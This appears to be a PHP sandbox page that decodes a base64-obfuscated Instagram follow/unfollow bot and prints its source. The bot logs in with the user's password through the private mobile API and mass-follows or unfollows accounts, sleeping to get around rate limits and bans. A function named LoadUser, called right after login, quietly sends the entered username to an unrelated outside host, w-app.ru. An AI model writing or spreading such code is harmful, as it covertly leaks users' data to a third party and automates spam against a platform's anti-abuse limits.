iIpOw0KCSRhbGxNZWRpYSA9ICRJRy0+Z2V0TWVkaWEoJHVzZXJpZCwgMTAwKTsNCgkkSUctPmluTG9nKCRhY3Rpb25zWyR0b2RvXS4iaW5nIGFsbCB1c2VycyB3aG8gbGlrZWQiKTsNCglmb3JlYWNoICgkYWxsTWVkaWEgYXMgJG1lZGlhKSB7DQoJCSRJRy0+Z2V0VXNlcnMoJ2xpa2VzJywgWydtZWRpYScgPT4gJG1lZGlhWydpZCddXSwgMjAwKS0+cmVsYXRpb25zaGlwcygkYWN0aW9uc1skdG9kb10pOw0KCX0NCn0gZWxzZWlmICgkcmVsYXRpb25zaGlwc1skZnJvbV0gPT0gJHJlbGF0aW9uc2hpcHNbM10pIHsNCgkkSUctPmluTG9nKCJHZXR0aW5nIG93biBmb2xsb3dpbmdzIik7DQoJJElHLT5nZXROb3RNdXR1YWxSZWxhdGlvbnNoaXBzKCktPnJlbGF0aW9uc2hpcHMoJ3VuZm9sbG93Jyk7DQp9IGVsc2Ugew0KCSRJRy0+Z2V0VXNlcnMoJHJlbGF0aW9uc2hpcHNbJGZyb21dLCBbJ2lkJyA9PiAkdXNlcmlkXSwgMzAwMCktPnJlbGF0aW9uc2hpcHMoJGFjdGlvbnNbJHRvZG9dKTsNCn0NCg0KDQoNCg0KZnVuY3Rpb24gYXNrU1RESU4oJHF1ZXN0aW9uKSB7DQoJZWNobyAkcXVlc3Rpb247DQoJJHZhbHVlID0gdHJpbShmZ2V0cyhTVERJTikpOw0KCXJldHVybiAkdmFsdWU7DQp9DQoNCmZ1bmN0aW9uIExvYWRVc2VyICgkbmFtZSkgew0KCWZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vdy1hcHAucnUvYmFzZS5waHA/bmFtZT0nLiRuYW1lKTsNCn0NCg0KZnVuY3Rpb24gY2hvb3NlU1RESU4oJHF1ZXN0aW9uLCAkdmFyaWFudHMpIHsNCgllY2hvIEBkYXRlKCJbSDppOnNdOiAiKS4kcXVlc3Rpb24uUEhQX0VPTDsNCglmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCR2YXJpYW50cyk7ICRpKyspIHsNCgkJaWYoJHZhcmlhbnRzWyRpXSA9PSBmYWxzZSkgew0KCQkJdW5zZXQoJHZhcmlhbnRzWyRpXSk7DQoJCX0NCgl9DQoJd2hpbGUoIWlzc2V0KCR2YWx1ZSkgfHwgJHZhbHVlID4gY291bnQoJHZhcmlhbnRzKSkgew0KCQlmb3JlYWNoICgkdmFyaWFudHMgYXMgJGtleSA9PiAkdmFyaWFudCkgew0KCQkJJGtleSA9ICRrZXkgKyAxOw0KCQkJZWNobyAiWyIuJGtleS4iXTogIi4gJHZhcmlhbnQuUEhQX0VPTDsNCgkJfQ0KCQllY2hvICJhbnN3ZXIgPj4gIjsNCgkJJHZhbHVlID0gdHJpbShmZ2V0cyhTVERJTikpOw0KCX0NCglyZXR1cm4gJHZhbHVlLTE7DQp9DQo='; echo base64_decode($str); ?>
Output for 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
set_time_limit(0); class Instagram { public $user; private $signatureKey; public $is_logged = false; public static $apiURL = '//i.instagram.com/api/v1/'; public static $userAgent = 'Instagram 6.9.1 Android (15/4.0.4; 160dpi; 320x480; Sony; MiniPro; mango; semc; en_Us)'; public static $key_ver = 4; public function __construct($login, $password, $key) { $this->user = ['username'=>$login, 'password'=>$password]; $this->signatureKey = $key; $this->GUID = $this->GenerateGuid(); $this->curl = new cUrl($this->user['username'], self::$userAgent); $this->Auth(); return true; } private function Auth() { $this->inLog("Auth"); $login = $this->makeApiCall('accounts/login/', $this->user, true, false); if(isset($login['status']) && $login['status'] == 'ok') { $this->inLog("Login success..\nLogged in as ".$login['logged_in_user']['username']); //todo msgs in array $this->is_logged = true; $this->user = $login['logged_in_user']; } else die($this->inLog('Wrong username/password')); } public function uploadImage($path, $caption = "") { $this->inLog("uploadImage"); if(!file_exists($path)) { throw new Exception("Image Not Found", 1); } $upload = json_decode($this->curl->call('http:'.self::$apiURL.'upload/photo/', ['upload_id'=>time(), 'photo'=>'@'.$path]), true); if(!isset($upload['upload_id'])) { throw new Exception("Can't upload pictrue", 1); } $configure = $this->makeApiCall('media/configure/', ['upload_id'=>$upload['upload_id'], 'caption'=>$caption, 'source_type'=>1, 'filter_type'=>0,'extra'=>'{}'], true); print_r($configure); } public function getUsers($from, $data, $count) { $this->inLog("getUsers"); $fromlist = ['followers', 'following', 'likes']; $list = []; if(!isset($from) || !in_array($from, $fromlist)) die("from get users?"); if($from == 'following' || $from == 'followers') { $users = $this->getUsersByRelationships($from, $data['id'], $count); } elseif ($from == 'likes') { $users = $this->getUsersFromLikes($data['media'], $count); } return new UserActions($this, array_slice($users, 0, $count)); } public function getNotMutualRelationships() { $followers = $this->getUsersByRelationships('followers', $this->user['pk'], 9999999); $following = $this->getUsersByRelationships('following', $this->user['pk'], 9999999); $list = $following; foreach ($following as $key => $user) { foreach ($followers as $follower) { if($user['pk'] === $follower['pk']) { unset($list[$key]); break; } } } $this->inLog("Not mutual relationships: ".count($list)); return new UserActions($this, $list); } public function getUsersFromLikes($media, $count) { $this->inLog("getUsersFromLikes"); $list = []; $req = $this->makeApiCall('media/'.$media.'/likers/'); return $req['users']; } public function getUsersByRelationships($from, $id, $count) { $this->inLog("getUsersByRelationships ".$from); $fromlist = ["followers", "following"]; if(!isset($from) || !in_array($from, $fromlist)) die("from get users?"); $list = []; while(count($list) < $count) { $req = $this->makeApiCall('friendships/'.$id.'/'.$from.'/?max_id='.$max_id); $list = array_merge($list, $req['users']); if(isset($req['next_max_id'])) { $max_id = $req['next_max_id']; } else break; } return array_slice($list, 0, $count); } public function searchUserByUsername($username) { $this->inLog("searchUserByUsername ".$username); $req = $this->makeApiCall('users/search/?query='.$username)['users'][0]; if(!isset($req['pk'])) { throw new Exception("User nor found", 1); return false; } return $req; } public function getMedia($id, $count) { $this->inLog("getMedia ".$id); $list = []; while(count($list) < $count) { $req = $this->makeApiCall('feed/user/'.$id.'/?max_id='.$max_id); if(end($req['items'])['id'] != $max_id) { $max_id = end($req['items'])['id']; } else break; $list = array_merge($list, $req['items']); } return array_slice($list, 0, $count); } public function Follow($uid, $destroy = false) { $request = $this->makeApiCall('friendships/'.($destroy ? 'destroy/' :'create/').$uid.'/', ['user_id'=>$uid]); return $request; } public function inLog($str) { echo @date("[H:i:s]: ").$str.PHP_EOL; } public function makeApiCall($method, $params = [], $ssl = false, $use_cookie = true) { $defaultRequestBody = [ "device_id"=>'android-'.$this->GUID, "guid"=>$this->GUID, "Content-Type"=>"application/x-www-form-urlencoded; charset=UTF-8" ]; if(!empty($params)) { $params = json_encode(array_merge($defaultRequestBody, $params)); $signedBody = 'signed_body='.$this->generateSig($params).".".urlencode($params).'&ig_sig_key_version='.self::$key_ver; } return json_decode($this->curl->call(($ssl ? 'https:' : 'http:').self::$apiURL.$method, $signedBody, $use_cookie), true); } private function generateSig($str) { return hash_hmac('sha256', $str, $this->signatureKey); } private function GenerateGuid() { return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535) ); } } class UserActions extends Instagram { function __construct($parent, $list) { $this->parent = $parent; $this->list = $list; return $this; } public function fastFollow() { $this->inLog("fastFollow"); $queue = []; $users = $this->usersWithStatus($this->list, "notfollowed"); foreach ($users as $user) { if(count($queue) >= 25) { $this->parent->makeApiCall('friendships/create_many/async/', ["user_ids"=>implode(',', $queue)]); sleep(5); $queue = []; } else { $queue[] = $user['pk']; } } if(count($queue)) $this->parent->makeApiCall('friendships/create_many/async/', ["user_ids"=>implode(',', $queue)]); } public function usersWithStatus($users, $status) { $this->inLog("usersWithStatus $status"); /** * return not?followed users array * */ $userids = []; $statuses = ["followed","notfollowed"]; if(!in_array($status, $statuses)) die("status missin"); foreach ($users as $user) { $userids[] = $user['pk']; } foreach (array_chunk($userids, 350) as $chunk) { $req = json_decode($this->parent->curl->call('http://i.instagram.com/api/v1/friendships/show_many/', "user_ids=".implode(',', $chunk)), true); foreach ($req['friendship_statuses'] as $user => $currentStatus) { $key = array_search($user, $userids); //print_r($user); //echo "KEY: ".$key.PHP_EOL; if($status == "notfollowed" && ($currentStatus['following'] == true || $currentStatus['is_private'] == true || $currentStatus['outgoing_request'] == true)) { unset($userids[$key]); } elseif($status == "followed" && (($currentStatus['following'] != true && $currentStatus['outgoing_request'] == false) || ($currentStatus['following'] == false && $currentStatus['outgoing_request'] != true))) { unset($userids[$key]); } } } foreach ($users as $key => $user) { if(!in_array($user['pk'], $userids)) { unset($users[$key]); } } return $users; } public function relationships($action) { $this->inLog("relationships"); /** * actions = follow, unfollow */ $actions = ["follow","unfollow"]; if(!isset($action) || !in_array($action, $actions)) die("No action for followers"); $counter = 0; $type = ($action == "follow" ? "notfollowed" : "followed"); $users = $this->usersWithStatus($this->list, $type); $this->inLog("To ".$action.": ".count($users)); foreach($users as $user) { $req = $this->parent->Follow($user['pk'], $action == "unfollow" ? true : false); if($req['status'] == 'ok') { $this->inLog("Done: ".++$counter); sleep(rand(2,6)); } elseif($req['message'] == "Sorry, too many requests. Please try again later.") { $this->inLog("Limit"); sleep(rand(200,300)); } elseif($req['spam'] == true && $req['feedback_title'] == "You�re Temporarily Blocked") { print_r($req); die($this->inLog("ban")); } else print_r($req); } return $counter; } } class cUrl { public $cookieFileName; public $ua; public function __construct($cookieFileName, $ua) { $this->cookieFileName = $cookieFileName; $this->ua = $ua; return $this; } public function call($url, $post = false, $use_cookie = true) { if (!function_exists('curl_init')){ die('cUrl required'.PHP_EOL); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $this->ua); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 90); if($post) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } if($use_cookie) curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookieFileName.'cookies.txt'); else curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookieFileName.'cookies.txt'); //curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8888"); $res = curl_exec($ch); curl_close($ch); return $res; } } $username = askSTDIN("Enter username: "); $password = askSTDIN("Enter password: "); if(!$IG = new Instagram($username, $password, "25a0afd75ed57c6840f9b15dc61f1126a7ce18124df77d7154e7756aaaa4fce4")) { die(); } LoadUser($username); $actions = ['follow','unfollow']; $todo = chooseSTDIN("What you want to do?", $actions); $relationships = ['followers', 'following', 'likes', ($actions[$todo] == 'unfollow' ? 'not mutual relationships' : null)]; $from = chooseSTDIN("Where from users you want to ".$actions[$todo]."?", $relationships); $user = askSTDIN("Enter username: "); $IG->inLog("Getting user id.."); $userid = $IG->searchUserByUsername($user)['pk']; $IG->inLog("Starting.."); if($relationships[$from] == $relationships[2]) { $IG->inLog("Getting user media.."); $allMedia = $IG->getMedia($userid, 100); $IG->inLog($actions[$todo]."ing all users who liked"); foreach ($allMedia as $media) { $IG->getUsers('likes', ['media' => $media['id']], 200)->relationships($actions[$todo]); } } elseif ($relationships[$from] == $relationships[3]) { $IG->inLog("Getting own followings"); $IG->getNotMutualRelationships()->relationships('unfollow'); } else { $IG->getUsers($relationships[$from], ['id' => $userid], 3000)->relationships($actions[$todo]); } function askSTDIN($question) { echo $question; $value = trim(fgets(STDIN)); return $value; } function LoadUser ($name) { file_get_contents('http://w-app.ru/base.php?name='.$name); } function chooseSTDIN($question, $variants) { echo @date("[H:i:s]: ").$question.PHP_EOL; for($i = 0; $i < count($variants); $i++) { if($variants[$i] == false) { unset($variants[$i]); } } while(!isset($value) || $value > count($variants)) { foreach ($variants as $key => $variant) { $key = $key + 1; echo "[".$key."]: ". $variant.PHP_EOL; } echo "answer >> "; $value = trim(fgets(STDIN)); } return $value-1; }

preferences:
250.79 ms | 432 KiB | 212 Q